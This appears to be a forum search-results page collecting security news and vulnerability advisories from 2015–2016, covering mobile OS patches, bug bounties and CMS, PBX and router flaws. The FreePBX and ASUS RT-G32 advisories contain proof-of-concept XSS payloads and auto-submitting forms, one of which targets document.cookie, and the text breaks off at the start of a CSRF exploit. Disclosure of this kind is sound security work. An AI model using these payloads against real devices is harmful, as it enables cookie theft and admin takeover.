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Found 21 results

  1. Reflecting on Recent iOS and Android Security Updates By zLabs Friday, Feb 12 2016 at 04:00 By: Zuk Avraham, Joshua Drake, Nikias Bassen from ZimperiumzLabs The last thirty days proven to be yet another exciting time for the mobile security ecosystem. Apple and Google released updates for their respective mobile operating systems that fix several critical issues — including some in the kernel that may be exploited remotely. Last Monday, Google released its monthly Nexus security bulletin. We are thrilled to see that the tradition that started after Stagefright’s discovery is a monthly routine now and other vendors are following suit (including Samsung). Blackberry indicated that they are very serious about security issues as well. We welcome Android vendors to reply to the ZHA thread to update the carriers on their plans to release an update addressing the February fixes by Google. We’ll take a closer look at the bulletin and some of the issues fixed later in this post. iOS 9.2.1 In the recent iOS update (9.2.1 – published on January 19th), Apple patched what we initially classified as 7 critical, 3 high, and 2 moderate severity vulnerabilities. These include at least five remotely exploitable vulnerabilities (CVE-2016-1723 through CVE-2016-1727) and at least one critical local kernel vulnerability triggerable from userland with low privileges (CVE-2016-1719). CVE-2015-7995 also appears to be exposed remotely, but determining exploitability will require further investigation. The following graph and table summarize the mentioned issues. CVE Component Impact Severity CVE-2016-1717 DiskImage Kernel Code Execution High CVE-2016-1719 IOHIDFamily Kernel Code Execution Critical CVE-2016-1720 IOKit Kernel Code Execution High CVE-2016-1721 Kernel Kernel Code Execution High CVE-2015-7995 libxslt Remote Code Execution Critical CVE-2016-1722 syslogd Code Execution w/EOP High CVE-2016-1723, CVE-2016-1724, CVE-2016-1725, CVE-2016-1726, CVE-2016-1727 WebKit Remote Code Execution Critical CVE-2016-1728 WebKit CSS Privacy Leak Moderate CVE-2016-1730 WebSheet Privacy Leak Moderate Android The February Nexus Security Bulletin encompasses 10 security issues including 5 critical, 4 high, and 1 moderate severity vulnerabilities. This includes 2 remotely exploitable kernel code execution vulnerabilities (CVE-2016-0801, CVE-2016-0802) and 2 remotely exploitable vulnerabilities exposed through Android’s mediaserver (CVE-2016-0803 in Stagefright, CVE-2016-0804). You can see the bulletin in its entirety here, but the following graph and table summarize the disclosed issues. CVE Component Impact Severity CVE-2016-0801 CVE-2016-0802 Broadcom Wi-Fi Driver Remote Code Execution Critical CVE-2016-0803 CVE-2016-0804 Mediaserver Remote Code Execution Critical CVE-2016-0805 Qualcomm Performance Module Elevation of Privilege Critical CVE-2016-0806 Qualcomm Wi-Fi Driver Elevation of Privilege Critical CVE-2016-0807 Debugger Daemon Elevation of Privilege Critical CVE-2016-0808 Minikin Denial of Service High CVE-2016-0809 Wi-Fi Elevation of Privilege High CVE-2016-0810 Mediaserver Elevation of Privilege High CVE-2016-0811 libmediaplayerservice Information Disclosure High CVE-2016-0812 CVE-2016-0813 Setup Wizard Elevation of Privilege Moderate While privilege escalation issues can be used by local apps or by remote exploits, attackers still need to gain initial code execution on the device to exploit those. With SELinux being enforced more strictly, kernel vulnerabilities are becoming more important (see our 2016 predictions []). Fortunately for the attackers (and unfortunately for us), we suspect that several additional security bugs lurk within Android device specific drivers and kernels. Further, the value of information disclosure vulnerabilities should not be underestimated. For example, CVE-2016-0811 may help attackers defeat security mitigations such as ASLR by leaking address space layout details. Combining several less severe issues together in a chain allows attackers to accomplish full compromise reliably. We expect this practice to remain a trend for the foreseeable future. As promised, Google updated the advisory within 48 hours with links to the AOSP commits that fixed the issues. It’s Interesting that several issues correspond to commits first released to the public in January. Unfortunately, this form of partial disclosure tends to give attackers that monitor code pushes a head start — especially when targeting 3rd party Android devices. On the bright side, that means up-to-date Nexus users were protected for an extra month before the official public disclosure. Let’s take a closer look at the relevant code changes for each issue. Analyzing the bugs The Broadcom Wi-Fi Driver remote kernel code execution vulnerabilities are the most interesting bugs disclosed this month. Although Google did not link to any commits for these two vulnerabilities, the Linux kernel is released under the GNU Public License which requires that source code be made available publicly. Shortly after the release, Security Researcher Ralf Philipp-Weinmann what we believe to be the related commits. The changes most relevant to CVE-2016-0801 and CVE-2016-0802 follow. We performed a cursory analysis of CVE-2016-0802 (full diffhere) and determined that several new validations were added checking packet lengths. However, we were unable to confirm that any ill effects would result from using nefarious values for the now-validated parameters. CVE-2016-0801 tells a different — and quite scary — story. See the following commit details. As you can see, the committer himself declared these issuesexploitable buffer overflows straight away. Looking at the code sheds additional light on the subject. drivers/net/wireless/bcmdhd/wl_cfg80211.c [diff]: In both cases, validation is added to prevent copying more data than the size of the destination buffer. Further, both destination buffers are located on the kernel stack. Because the stack contains crucial items such as the return address and — in the case of the kernel — the thread_info structure, exploiting such overflows is thought to be much easier. The next logical question is if and how these areas of code can be reached by an attacker. The bulletin states, “These vulnerabilities can be triggered when the attacker and the victim are associated with the same network.” However, our quick analysis of the code suggests (unconfirmed) that it may be possible to trigger these vulnerabilities without being associated at all. The following code is responsible for initializing a table of handlers that is used when various events occur. ==== 9765 static void wl_init_event_handler(struct bcm_cfg80211 *cfg) … 9781 cfg->evt_handler[WLC_E_ACTION_FRAME_RX] = wl_notify_rx_mgmt_frame; 9782 cfg->evt_handler[WLC_E_PROBREQ_MSG] = wl_notify_rx_mgmt_frame; 9783 cfg->evt_handler[WLC_E_P2P_PROBREQ_MSG] = wl_notify_rx_mgmt_frame; … 9790 cfg->evt_handler[WLC_E_PFN_NET_FOUND] = wl_notify_pfn_status; ==== The first three presented entries correspond with the first change in the diff. The wl_notify_rx_mgmt_frame function callswl_validate_wps_ie, which contains the buffer overflow. (and also has other callers that have not been investigated). The event IDs (the part in brackets) include probe requests and action frames. This is quite interesting because probe requests are one of the very first packets sent during association. If an Android device enabled the portable hotspot feature, this vulnerability could potentially be exposed to everyone within range of the Wi-Fi radio. The final presented event handler entry deals with scheduled scans. The wl_notify_pfn_status function callswl_notify_sched_scan_results, which contains the buffer overflow. Although we are still investigating, this functionality also sounds a lot like it could expose the vulnerability to any attacker within Wi-Fi range of a vulnerable device. After the Broadcom Wi-Fi driver, the next most interesting vulnerabilities in the bulletin relate to a subject near and dear to our hearts — Android’s media processing. CVE-2016-0803 fixes two integer overflows in libstagefright that were classified as critical RCE. The bugs existed within the SOFTMPEG4Encoder and functions. In both cases, the issue is an integer overflow occurring when dealing with multiplication involving the mWidth and mHeight parameters. This overflow was patched with two commits [] [2] that add a sanitization check prior to allocating 1.5 x mWidth x mHeight bytes in the process’ heap. The relevant changes follow. CVE-2016-0803 affect devices running: Android 4.4.4, 5.0, 5.1.1, 6.0 and 6.0.1 This issue is not without caveats, however. Since it exists within a codec, the victim would need to play back a malicious media file for an attacker trigger the vulnerability. While not all possible ways of accessing media have been investigated, Google Chrome on Android blocks automatic playback of HTML5 video by default (see here). As with most things Android, your mileage may vary depending on the specific device or application dealing with rich media. We encourage developers (especially those working on devices and browsers) to investigate and reconsider the decision to enable auto-play functionality. Another quirk with this vulnerability is that it appears to live within encoder functionality. It’s not presently clear how an attacker would exercise an encoder remotely, but we can’t rule it out either. The other critical RCE, vulnerability in mediaserver that is not related to libstagefright is CVE-2016-0804. It affects devices running Android 5.0, 5.1.1, 6.0 and 6.0.1. It was fixed by re-initializing the mDrmManagerClient member variable to NULL when cleaning up withinNuPlayer::GenericSource::notifyPreparedAndCleanup as shown below. frameworks/av / media/libmediaplayerservice/nuplayer/GenericSource.cpp Fixes of this nature often prevent using stale data later in the lifetime of the process. One of the security researchers on the team of people that reported the issue that this issue was a use-after-free problem triggered when processing a DRM-protected media file. Presumably the attack vector here is media within the browser. It’s not clear if playback is required here, but given the name of the vulnerable function it’s probably not. Conclusions To summarize, both iOS and Android are improving their security from month to month but both OSes still expose users to remotely exploitable bugs. It wouldn’t come as a surprise if more such vulnerabilities were discovered already or in the future. From a preliminary analysis of the bugs, the security of most available devices not running the latest version is alarming. Determined attackers such as professional malware authors and nation states couldn’t be happier with smartphones’ lack of updates and the amount of remotely exploitable vulnerabilities. Sursa: https://blog.zimperium.com/reflecting-on-recent-ios-and-android-security-updates/
  2. sleed

    MailChimp

    Vendor: Mailchimp.com Type of Vuln.: XSS Stored Reported. PoC * :
  3. Foxing the holes in the code Mozilla has more than doubled the cash rewards under its dusty bug bounty to beyond $10,000. The browser baron has increased the reward for high-severity bugs such as those leading to remote code execution without requiring other vulnerabilities. Engineer Raymond Forbes says the bounty had not been updated in five years and had fallen out of step. "The amount awarded was increased to $3000 five years ago and it is definitely time for this to be increased again," Forbes says. "We have dramatically increased the amount of money that a vulnerability is worth [and] we are moving to a variable payout based on the quality of the bug report, the severity of the bug, and how clearly the vulnerability can be exploited. "Finally, we looked into how we decide what vulnerability is worth a bounty award." Mozilla previously awarded $3000 for critical vulnerabilities that could seriously endanger users. It paid small amounts for only some moderate vulnerabilities that will under the revamp now attract up to $2000. The Firefox forger also launched its security bug hall of fame which is a common and important component of bug bounty programs, and will open a version for web and services. Bug bounties are enjoying a boom of late with many large organisations opening in-house and outsourced programs to attract security vulnerability researchers. The schemes promise to increase the security profile of organisations while providing hackers with an opportunity to practice their skills and earn cash or prizes without the threat of legal ramifications. Programs must be properly set up prior to launch including clear security policies and contact details posted to an organisation's web site, and strong communication between IT staff and bug hunters. Hackers will often drop unpatched vulnerabilities to the public domain if an organisation fails to respond or refuses to fix the bugs. Source
  4. On Tuesday, May 12, Adobe will release security updates to address critical vulnerabilities discovered in Adobe Reader and Adobe Acrobat for Windows and Mac. Adobe has not provided too much information in the prenotification security advisory published on Thursday, but the company has revealed that the issues affect Acrobat and Reader XI (11.0.10) and earlier versions, and Acrobat and Reader X (10.1.13) and earlier versions. While the vulnerabilities that will be patched next week are considered critical, Adobe has assigned them a priority rating of 2. Updates with this priority rating address security bugs in a product that has historically been at elevated risk. Such flaws are not currently exploited in the wild and the company doesn’t expect them to be exploited too quickly. Administrators are advised by the company to apply such updates within 30 days. Vulnerabilities are often identified in Adobe products, especially Flash Player. Up until this point in 2015, Adobe released six security bulletins for Flash Player. The updates address tens of flaws, including zero-days that had been exploited in the wild before a patch was available. Last month’s Flash Player updates fixed a total of 22 vulnerabilities, including one that has been exploited in the wild. Adobe announced in March the launch of a bug bounty program for the company’s web applications. The program, hosted on the HackerOne platform, has already helped the company close more than 50 vulnerabilities, despite the fact that it’s not offering any monetary rewards to researchers who report bugs. source: Adobe to Patch Critical Vulnerabilities in Reader, Acrobat
  5. Advisory ID: HTB23253 Product: FreePBX Vendor: Sangoma Technologies Vulnerable Version(s): 12.0.43 and probably prior Tested Version: 12.0.43 Advisory Publication: March 18, 2015 [without technical details] Vendor Notification: March 18, 2015 Vendor Patch: March 27, 2015 Public Disclosure: April 22, 2015 Vulnerability Type: Cross-Site Scripting [CWE-79] CVE Reference: CVE-2015-2690 Risk Level: Low CVSSv2 Base Score: 2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N) Solution Status: Fixed by Vendor Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) ----------------------------------------------------------------------------------------------- Advisory Details: High-Tech Bridge Security Research Lab discovered multiple XSS vulnerabilities in FreePBX, which can be exploited to perform Cross-Site Scripting (XSS) attacks against web application administrators. This vulnerability can be used to steal administratorâs cookies, perform phishing and drive-by-download attacks. 1) Multiple XSS vulnerabilities in FreePBX: CVE-2015-2690 Input passed via multiple HTTP POST parameters to "/admin/config.php" script (when "type" is set to "setup", "display" is set to "digiumaddons", "page" is set to "add-license-form", and "addon" is set to "ffa") is not properly sanitised before being returned to the user. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website. The vulnerable HTTP POST parameters are: "add_license_key", "add_license_first_name", "add_license_last_name", "add_license_company", "add_license_address1", "add_license_address2", "add_license_city", "add_license_state", "add_license_post_code", "add_license_country", "add_license_phone", and "add_license_email". The exploitation example below will show JS pop-up displaying "ImmuniWeb": <form action="http://[host]/admin/config.php?type=setup&display=digiumaddons&page=add-license-form&addon=ffa" method="post" name="main"> <input type="hidden" name="add_license_key" value='"><script>alert("ImmuniWeb");</script>'> <input type="hidden" name="add_license_first_name" value='"><script>alert("ImmuniWeb");</script>'> <input type="hidden" name="add_license_last_name" value='"><script>alert("ImmuniWeb");</script>'> <input type="hidden" name="add_license_company" value='"><script>alert("ImmuniWeb");</script>'> <input type="hidden" name="add_license_address1" value='"><script>alert("ImmuniWeb");</script>'> <input type="hidden" name="add_license_address2" value='"><script>alert("ImmuniWeb");</script>'> <input type="hidden" name="add_license_city" value='"><script>alert("ImmuniWeb");</script>'> <input type="hidden" name="add_license_state" value='"><script>alert("ImmuniWeb");</script>'> <input type="hidden" name="add_license_post_code" value='"><script>alert("ImmuniWeb");</script>'> <input type="hidden" name="add_license_country" value='"><script>alert("ImmuniWeb");</script>'> <input type="hidden" name="add_license_phone" value='"><script>alert("ImmuniWeb");</script>'> <input type="hidden" name="add_license_email" value='"><script>alert("ImmuniWeb");</script>'> <input type="hidden" name="add_license_submit" value='Submit'> <input type="submit" id="btn"> </form> <script>document.main.submit()</script> ----------------------------------------------------------------------------------------------- Solution: Update Digium Addons Module of FreePBX installation to version 2.11.0.7 More Information: http://git.freepbx.org/projects/FREEPBX/repos/digiumaddoninstaller/commits/2aad006024b74c9ff53943d3e68527a3dffac855 ----------------------------------------------------------------------------------------------- References: [1] High-Tech Bridge Advisory HTB23253 - https://www.htbridge.com/advisory/HTB23253 - Reflected Cross-Site Scripting (XSS) in FreePBX. [2] FreePBX - http://www.freepbx.org - FreePBX is as an open source, web-based PBX solution. [3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVEÂŽ is a dictionary of publicly known information security vulnerabilities and exposures. [4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. [5] ImmuniWebÂŽ SaaS - https://www.htbridge.com/immuniweb/ - hybrid of manual web application penetration test and cutting-edge vulnerability scanner available online via a Software-as-a-Service (SaaS) model. ----------------------------------------------------------------------------------------------- Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References. Source: http://packetstorm.wowhacker.com/1504-exploits/freepbx-xss.txt
  6. FITA is a most preferred Ethical Hacking Course.This Ethical Hacking Course acts as the foundation stone in your career to be a Penetration Tester and providing security to networks and websites. With all the latest tools and real-time hacking techniques, this Ethical Hacking Course gives you practical approach and simulated environment to test the attacks and assess the vulnerabilities.
  7. AROUND THE SAME time the US and Israel were already developing and unleashing Stuxnet on computers in Iran, using five zero-day exploits to get the digital weapon onto machines there, the government realized it needed a policy for how it should handle zero-day vulnerabilities, according to a new document obtained by the Electronic Frontier Foundation. The document, found among a handful of heavily redacted pages released after the civil liberties group sued the Office of the Director of National Intelligence to obtain them, sheds light on the backstory behind the development of the government’s zero-day policy and offers some insight into the motivations for establishing it. What the documents don’t do, however, is provide support for the government’s assertions that it discloses the “vast majority” of zero-day vulnerabilities it discovers instead of keeping them secret and exploiting them. “The level of transparency we have now is not enough,” says Andrew Crocker a legal fellow at EFF. “It doesn’t answer a lot of questions about how often the intelligence community is disclosing, whether they’re really following this process, and who is involved in making these decisions in the executive branch. More transparency is needed.” The timeframe around the development of the policy does make clear, however, that the government was deploying zero-days to attack systems long before it had established a formal policy for their use. Task Force Launched in 2008 Titled “Vulnerability Equities Process Highlights,” (.pdf) the document appears to have been created July 8, 2010, based on a date in its file name. Vulnerability equities process in the title refers to the process whereby the government assesses zero-day software security holes that it either finds or buys from contractors in order to determine whether they should be disclosed to the software vendor to be patched or kept secret so intelligence agencies can use them to hack into systems as they please. The government’s use of zero-day vulnerabilities is controversial, not least because when it withholds information about software vulnerabilities to exploit them in targeted systems, it leaves every other system that use the same software also vulnerable to being hacked, including U.S. government computers and critical infrastructure systems. According to the document, the equities process grew out of a task force the government formed in 2008 to develop a plan for improving its ability “to use the full spectrum of offensive capabilities to better defend U.S. information systems.” Source
  8. 724CMS 5.01 / 4.59 / 4.01 / 3.01 Information Leakage *724CMS 5.01 Multiple Information Leakage Security Vulnerabilities* Exploit Title: 724CMS Multiple Information Leakage Security Vulnerabilities Vendor: 724CMS Product: 724CMS Vulnerable Versions: 3.01 4.01 4.59 5.01 Tested Version: 5.01 Advisory Publication: March 14, 2015 Latest Update: March 14, 2015 Vulnerability Type: Information Exposure [CWE-200] CVE Reference: * Impact CVSS Severity (version 2.0): CVSS v2 Base Score: 5.0 (MEDIUM) (AV:N/AC:L/Au:N/C:P/I:N/A:N) (legend) Impact Subscore: 2.9 Exploitability Subscore: 10.0 Credit: Wang Jing [Mathematics, Nanyang Technological University (NTU), Singapore] *Suggestion Details:* *(1) Vendor & Product Description:* *Vendor:* 724CMS Enterprise *Product & Vulnerable Versions:* 724CMS 3.01 4.01 4.59 5.01 *Vendor URL & download:* 724CMS can be got from here, http://724cms.com/ *Product Introduction Overview:* 724CMS is a content management system (CMS) that has large customers spread in Canada, Japan, Korean, the United States and many others. It allows publishing, editing and modifying content, organizing, deleting as well as maintenance from a central interface. Meanwhile, 724CMS provides procedures to manage workflow in a collaborative environment. *(2) Vulnerability Details:* 724CMS web application has a security bug problem. It can be exploited by information leakage attacks - Full Path Disclosure (FPD). This may allow a remote attacker to disclose the software's installation path. While such information is relatively low risk, it is often useful in carrying out additional, more focused attacks. Several 724CMS products vulnerabilities have been found by some other bug hunter researchers before. 724CMS has patched some of them. NVD is the U.S. government repository of standards based vulnerability management data (This data enables automation of vulnerability management, security measurement, and compliance (e.g. FISMA)). It has published suggestions, advisories, solutions related to 724CMS vulnerabilities. *(2.1)* The first code programming flaw occurs at "index.php" page with "&Lang", "&ID" parameters. *(2.2)* The second code programming flaw occurs at "section.php" page with "&Lang", "&ID" parameters. *References:* http://tetraph.com/security/information-leakage-vulnerability/724cms-5-01-information-leakage-security-vulnerabilities/ http://securityrelated.blogspot.com/2015/03/724cms-501-information-leakage-security.html http://www.inzeed.com/kaleidoscope/computer-web-security/724cms-5-01-information-leakage-security-vulnerabilities/ http://diebiyi.com/articles/%E5%AE%89%E5%85%A8/724cms-5-01-information-leakage-security-vulnerabilities/ https://infoswift.wordpress.com/2015/03/14/724cms-5-01-information-leakage-security-vulnerabilities/ http://marc.info/?l=full-disclosure&m=142576280203098&w=4 http://en.hackdig.com/wap/?id=17055 -- Wang Jing, Division of Mathematical Sciences (MAS), School of Physical and Mathematical Sciences (SPMS), Nanyang Technological University (NTU), Singapore. http://www.tetraph.com/wangjing/ https://twitter.com/tetraphibious 724CMS 5.01 / 4.59 / 4.01 / 3.01 Directory Traversal *724CMS 5.01 Directory (Path) Traversal Security Vulnerabilities* Exploit Title: 724CMS /section.php Module Parameter Directory Traversal Security Vulnerabilities Vendor: 724CMS Product: 724CMS Vulnerable Versions: 3.01 4.01 4.59 5.01 Tested Version: 5.01 Advisory Publication: March 14, 2015 Latest Update: March 14, 2015 Vulnerability Type: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') [CWE-22] CVE Reference: * Impact CVSS Severity (version 2.0): CVSS v2 Base Score: 7.5 (HIGH) (AV:N/AC:L/Au:N/C:P/I:P/A:P) (legend) Impact Subscore: 6.4 Exploitability Subscore: 10.0 Discover and Author: Wang Jing [CCRG, Nanyang Technological University (NTU), Singapore] *Recommendation Details:* *(1) Vendor & Product Description:* *Vendor:* 724CMS Enterprise *Product & Vulnerable Versions:* 724CMS 3.01 4.01 4.59 5.01 *Vendor URL & download:* 724CMS can be bargained from here, http://724cms.com/ *Product Introduction Overview:* "724CMS is a content management system (CMS) that has customers spread in Canada, Japan, Korean, the United States, European and many others. It allows publishing, editing and modifying content, organizing, deleting as well as maintenance from a central interface. Meanwhile, 724CMS provides procedures to manage workflow in a collaborative environment." "A CMS helps you create and store content in a shared repository. It then manages the relationships between content items for you (e.g. keeping track of where they fit into the site hierarchy). Finally, it ensures that each content item is connected to the right style sheet when it comes to be published. Some CMSs also provide facilities to track the status of content items through editorial processes and workflows." *(2) Vulnerability Details:* 724CMS web application has a security bug problem. It can be exploited by Directory Traversal - Local File Include (LFI) attacks. A local file inclusion (LFI) flaw is due to the script not properly sanitizing user input, specifically path traversal style attacks (e.g. '../../') supplied to the parameters. With a specially crafted request, a remote attacker can include arbitrary files from the targeted host or from a remote host . This may allow disclosing file contents or executing files like PHP scripts. Such attacks are limited due to the script only calling files already on the target host. Several 724CMS products vulnerabilities have been found by some other bug hunter researchers before. 724CMS has patched some of them. The MITRE Corporation is a not-for-profit company that operates multiple federally funded research and development centers (FFRDCs), which provide innovative, practical solutions for some of our nation's most critical challenges in defense and intelligence, aviation, civil systems, homeland security, the judiciary, healthcare, and cybersecurity. It has published suggestions, advisories, solutions details related to 724CMS vulnerabilities. *(2.1) *The first cipher programming flaw occurs at "/section.php" page with "&Module" parameter. *References:* http://www.tetraph.com/security/directory-traversal-vulnerability/724cms-5-01-directory-path-traversal-security-vulnerabilities/ http://securityrelated.blogspot.com/2015/03/724cms-501-directory-path-traversal.html http://www.inzeed.com/kaleidoscope/computer-web-security/724cms-5-01-directory-path-traversal-security-vulnerabilities/ http://diebiyi.com/articles/%E5%AE%89%E5%85%A8/724cms-5-01-directory-path-traversal-security-vulnerabilities/ https://computertechhut.wordpress.com/2015/03/14/724cms-5-01-directory-path-traversal-security-vulnerabilities/ http://marc.info/?a=139222176300014&r=1&w=4 http://en.hackdig.com/wap/?id=17404 -- Wang Jing, Division of Mathematical Sciences (MAS), School of Physical and Mathematical Sciences (SPMS), Nanyang Technological University (NTU), Singapore. http://www.tetraph.com/wangjing/ https://twitter.com/justqdjing 724CMS 5.01 / 4.59 / 4.01 / 3.01 SQL Injection *724CMS 5.01 Multiple SQL Injection Security Vulnerabilities* Exploit Title: 724CMS Multiple SQL Injection Security Vulnerabilities Vendor: 724CMS Product: 724CMS Vulnerable Versions: 3.01 4.01 4.59 5.01 Tested Version: 5.01 Advisory Publication: March 14, 2015 Latest Update: March 14, 2015 Vulnerability Type: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') [CWE-89] CVE Reference: * Impact CVSS Severity (version 2.0): CVSS v2 Base Score: 7.5 (HIGH) (AV:N/AC:L/Au:N/C:P/I:P/A:P) (legend) Impact Subscore: 6.4 Exploitability Subscore: 10.0 Credit: Wang Jing [Mathematics, Nanyang Technological University (NTU), Singapore] *Recommendation Details:* *(1) Vendor & Product Description:* *Vendor:* 724CMS Enterprise *Product & Vulnerable Versions:* 724CMS 3.01 4.01 4.59 5.01 *Vendor URL & download:* 724CMS can be gain from here, http://724cms.com/ *Product Introduction Overview:* "724CMS is a content management system (CMS) that has customers spread in Canada, Japan, Korean, the United States, European and many others. It allows publishing, editing and modifying content, organizing, deleting as well as maintenance from a central interface. Meanwhile, 724CMS provides procedures to manage workflow in a collaborative environment." "A CMS helps you create and store content in a shared repository. It then manages the relationships between content items for you (e.g. keeping track of where they fit into the site hierarchy). Finally, it ensures that each content item is connected to the right style sheet when it comes to be published. Some CMSs also provide facilities to track the status of content items through editorial processes and workflows." *(2) Vulnerability Details:* 724CMS web application has a security bug problem. It can be exploited by SQL Injection attacks. This may allow an attacker to inject or manipulate SQL queries in the back-end database, allowing for the manipulation or disclosure of arbitrary data. Several 724CMS products vulnerabilities have been found by some other bug hunter researchers before. 724CMS has patched some of them. The MITRE Corporation is a not-for-profit company that operates multiple federally funded research and development centers (FFRDCs), which provide innovative, practical solutions for some of our nation's most critical challenges in defense and intelligence, aviation, civil systems, homeland security, the judiciary, healthcare, and cybersecurity. It has phase, votes, comments and proposed details related to 724CMS vulnerabilities. *(2.1)* The first cipher programming flaw occurs at "/index.php" page with "&Lang", "&ID" parameters. *(2.2) *The second cipher programming flaw occurs at "/section.php" page with "&Lang", "&ID" parameters. *References:* http://www.tetraph.com/security/sql-injection-vulnerability/724cms-5-01-multiple-sql-injection-security-vulnerabilities/ http://securityrelated.blogspot.com/2015/03/724cms-501-multiple-sql-injection.html http://www.inzeed.com/kaleidoscope/computer-web-security/724cms-5-01-multiple-sql-injection-security-vulnerabilities/ http://diebiyi.com/articles/%E5%AE%89%E5%85%A8/724cms-5-01-multiple-sql-injection-security-vulnerabilities/ https://computertechhut.wordpress.com/2015/03/14/724cms-5-01-multiple-sql-injection-security-vulnerabilities/ https://www.mail-archive.com/fulldisclosure%40seclists.org/msg01766.html http://marc.info/?a=139222176300014&r=1&w=4 http://en.1337day.com/exploit/23308 -- Wang Jing, Division of Mathematical Sciences (MAS), School of Physical and Mathematical Sciences (SPMS), Nanyang Technological University (NTU), Singapore. http://www.tetraph.com/wangjing/ https://twitter.com/tetraphibious 724CMS 5.01 / 4.59 / 4.01 / 3.01 Cross Site Scripting *724CMS 5.01 Multiple XSS (Cross-site Scripting) Security Vulnerabilities* Exploit Title: 724CMS Multiple XSS (Cross-site Scripting) Security Vulnerabilities Vendor: 724CMS Product: 724CMS Vulnerable Versions: 3.01 4.01 4.59 5.01 Tested Version: 5.01 Advisory Publication: March 15, 2015 Latest Update: March 15, 2015 Vulnerability Type: Cross-Site Scripting [CWE-79] CVE Reference: * Impact CVSS Severity (version 2.0): CVSS v2 Base Score: 4.3 (MEDIUM) (AV:N/AC:M/Au:N/C:N/I:P/A:N) (legend) Impact Subscore: 2.9 Exploitability Subscore: 8.6 Credit: Wang Jing [Mathematics, Nanyang Technological University (NTU), Singapore] *Recommendation Details:* *(1) Vendor & Product Description:* *Vendor:* 724CMS Enterprise *Product & Vulnerable Versions:* 724CMS 3.01 4.01 4.59 5.01 *Vendor URL & download:* 724CMS can be purchased from here, http://724cms.com/ *Product Introduction Overview:* "724CMS is a content management system (CMS) that has customers spread in Canada, Japan, Korean, the United States, European and many others. It allows publishing, editing and modifying content, organizing, deleting as well as maintenance from a central interface. Meanwhile, 724CMS provides procedures to manage workflow in a collaborative environment." "A CMS helps you create and store content in a shared repository. It then manages the relationships between content items for you (e.g. keeping track of where they fit into the site hierarchy). Finally, it ensures that each content item is connected to the right style sheet when it comes to be published. Some CMSs also provide facilities to track the status of content items through editorial processes and workflows." *(2) Vulnerability Details:* 724CMS web application has a security bug problem. It can be exploited by XSS attacks. This may allow a remote attacker to create a specially crafted request that would execute arbitrary script code in a user's browser session within the trust relationship between their browser and the server. Several 724CMS products vulnerabilities have been found by some other bug hunter researchers before. 724CMS has patched some of them. The MITRE Corporation is a not-for-profit company that operates multiple federally funded research and development centers (FFRDCs), which provide innovative, practical solutions for some of our nation's most critical challenges in defense and intelligence, aviation, civil systems, homeland security, the judiciary, healthcare, and cybersecurity. It has published suggestions, advisories, solutions details related to 724CMS vulnerabilities. *(2.1)* The first code programming flaw occurs at "/index.php" page with "&Lang" parameter. *(2.2) *The second code programming occurs at "/section.php" page with "&Lang", "&ID", "&Nav" parameters. *References:* http://www.tetraph.com/security/xss-vulnerability/724cms-5-01-multiple-xss-cross-site-scripting-security-vulnerabilities/ http://securityrelated.blogspot.com/2015/03/724cms-501-multiple-xss-cross-site.html http://www.inzeed.com/kaleidoscope/computer-web-security/724cms-5-01-multiple-xss-cross-site-scripting-security-vulnerabilities/ http://diebiyi.com/articles/%E5%AE%89%E5%85%A8/724cms-5-01-multiple-xss-cross-site-scripting-security-vulnerabilities/ https://computertechhut.wordpress.com/2015/03/14/724cms-5-01-multiple-xss-cross-site-scripting-security-vulnerabilities/ http://marc.info/?l=full-disclosure&m=142576259903051&w=4 https://www.mail-archive.com/fulldisclosure%40seclists.org/msg01737.html http://en.hackdig.com/?16117.htm -- Wang Jing, Division of Mathematical Sciences (MAS), School of Physical and Mathematical Sciences (SPMS), Nanyang Technological University (NTU), Singapore. http://www.tetraph.com/wangjing/ https://twitter.com/tetraphibious
  9. Adobe this afternoon pushed out a Flash Player update patching 11 critical security vulnerabilities, most of which lead to remote code execution. None are being publicly exploited, Adobe said. Versions 16.0.0.305 and earlier of the Flash Player Desktop and Flash Player for Google Chrome are affected on Windows and Mac OS X machines, as is Flash Player for Internet Explorer 10 and 11 on Windows 8 and 8.1 computers. Flash Player 11.2.202.442 for Linux and Flash Player Extended Support Release 13.0.0.269 for Windows and Mac OS X are also affected. The updated Flash Player includes patches for four memory corruption vulnerabilities, three of which reported by Google’s Project Zero, that lead to remote code execution. Two other type-confusion vulnerabilities, two use-after free vulnerabilities and an integer-overflow vulnerability were also patched; all could have resulted in remote code execution as well, Adobe said. The update also patches a cross-domain policy bypass vulnerability and a file-upload restriction bypass vulnerability. Today’s Adobe patches come on the heels of a busy week for IT administrators following Microsoft’s security bulletin rollout on Tuesday. Microsoft released 14 bulletins, five of them critical, and included patches for the FREAK vulnerability and a new fix for some unresolved issues left behind by the Stuxnet patch of 2010. Source
  10. Hello list! There are Cross-Site Scripting and Cross-Site Request Forgery vulnerabilities in ASUS Wireless Router RT-G32. ------------------------- Affected products: ------------------------- Vulnerable is the next model: ASUS RT-G32 with different versions of firmware. I checked in ASUS RT-G32 with firmware versions 2.0.2.6 and 2.0.3.2. ---------- Details: ---------- Cross-Site Scripting (WASC-08): http://site/start_apply.htm?next_page=%27%2balert(document.cookie)%2b%27 http://site/start_apply.htm?group_id=%27%2balert(document.cookie)%2b%27 http://site/start_apply.htm?action_script=%27%2balert%28document.cookie%29%2b%27 http://site/start_apply.htm?flag=%27%2balert%28document.cookie%29%2b%27 These vulnerabilities work as via GET, as via POST (work even without authorization). ASUS RT-G32 XSS-1.html <html> <head> <title>ASUS RT-G32 XSS exploit (C) 2015 MustLive</title> </head> <body onLoad="document.hack.submit()"> <form name="hack" action="http://site/start_apply.htm" method="post"> <input type="hidden" name="next_page" value="'+alert(document.cookie)+'"> <input type="hidden" name="group_id" value="'+alert(document.cookie)+'"> <input type="hidden" name="action_script" value="'+alert(document.cookie)+'"> <input type="hidden" name="flag" value="'+alert(document.cookie)+'"> </form> </body> </html> Cross-Site Request Forgery (WASC-09): CSRF vulnerability allows to change different settings, including admin's password. As I showed in this exploit (post-auth). ASUS RT-G32 CSRF-1.html <html> <head> 